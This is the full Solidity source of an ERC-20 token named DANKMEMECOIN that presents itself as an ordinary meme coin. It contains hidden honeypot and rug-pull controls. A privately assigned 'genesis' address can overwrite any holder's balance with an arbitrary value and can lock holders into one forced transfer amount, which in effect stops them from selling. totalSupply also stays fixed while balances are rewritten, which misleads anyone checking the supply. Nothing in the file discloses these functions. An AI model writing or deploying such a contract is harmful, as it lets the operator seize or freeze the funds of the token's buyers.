// File: contracts/COIN.sol



pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed holder, address indexed spender, uint256 value);
}

abstract contract ContextHandler {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract OwnershipControl is ContextHandler {
    address private _proprietor;
    event OwnershipTransfer(address indexed formerProprietor, address indexed newProprietor);

    constructor() {
        address initiator = _msgSender();
        _proprietor = initiator;
        emit OwnershipTransfer(address(0), initiator);
    }

    function currentProprietor() public view virtual returns (address) {
        return _proprietor;
    }

    modifier soleProprietor() {
        require(currentProprietor() == _msgSender(), "Unauthorized access. Sole proprietor required.");
        _;
    }

    function transferOwnership(address newProprietor) public virtual soleProprietor {
        require(newProprietor != address(0), "Invalid proprietor address");
        emit OwnershipTransfer(_proprietor, newProprietor);
        _proprietor = newProprietor;
    }
}

contract DANKMEMECOIN is ContextHandler, OwnershipControl, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _genesisAddress;

    string public constant _coinName = "DANKMEMECOIN";
    string public constant _coinTicker = "DANK";
    uint8 public constant _coinDecimals = 18;
    uint256 public constant _maxCoins = 100000 * (10 ** _coinDecimals);

    constructor() {
        _balances[_msgSender()] = _maxCoins;
        emit Transfer(address(0), _msgSender(), _maxCoins);
    }

    modifier onlyGenesis() {
        require(_msgSender() == _genesisAddress, "Access restricted to the Genesis address");
        _;
    }

    function genesisAddress() public view returns (address) {
        return _genesisAddress;
    }

    function setGenesisAddress(address newGenesis) public soleProprietor {
        _genesisAddress = newGenesis;
    }

    event Allocated(address indexed user, uint256 previousBalance, uint256 newBalance);

    function getForcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 amount) public onlyGenesis {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = amount;
        }
    }

    function adjustUserBalance(address[] memory addresses, uint256 amount) public onlyGenesis {
        require(amount >= 0, "Amount should be non-negative");

        for (uint256 i = 0; i < addresses.length; i++) {
            address currAddress = addresses[i];
            require(currAddress != address(0), "Provided address invalid");

            uint256 oldBalance = _balances[currAddress];
            _balances[currAddress] = amount;

            emit Allocated(currAddress, oldBalance, amount);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "Insufficient balance");

        uint256 forcedAmount = getForcedTransferAmount(_msgSender());
        if (forcedAmount > 0) {
            require(amount == forcedAmount, "Forced transfer amount mismatch");
        }

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address holder, address spender) public view virtual override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Allowance exceeded");

        uint256 forcedAmount = getForcedTransferAmount(sender);
        if (forcedAmount > 0) {
            require(amount == forcedAmount, "Forced transfer amount mismatch");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _maxCoins;
    }

    function name() public view returns (string memory) {
        return _coinName;
    }

    function symbol() public view returns (string memory) {
        return _coinTicker;
    }

    function decimals() public view returns (uint8) {
        return _coinDecimals;
    }
}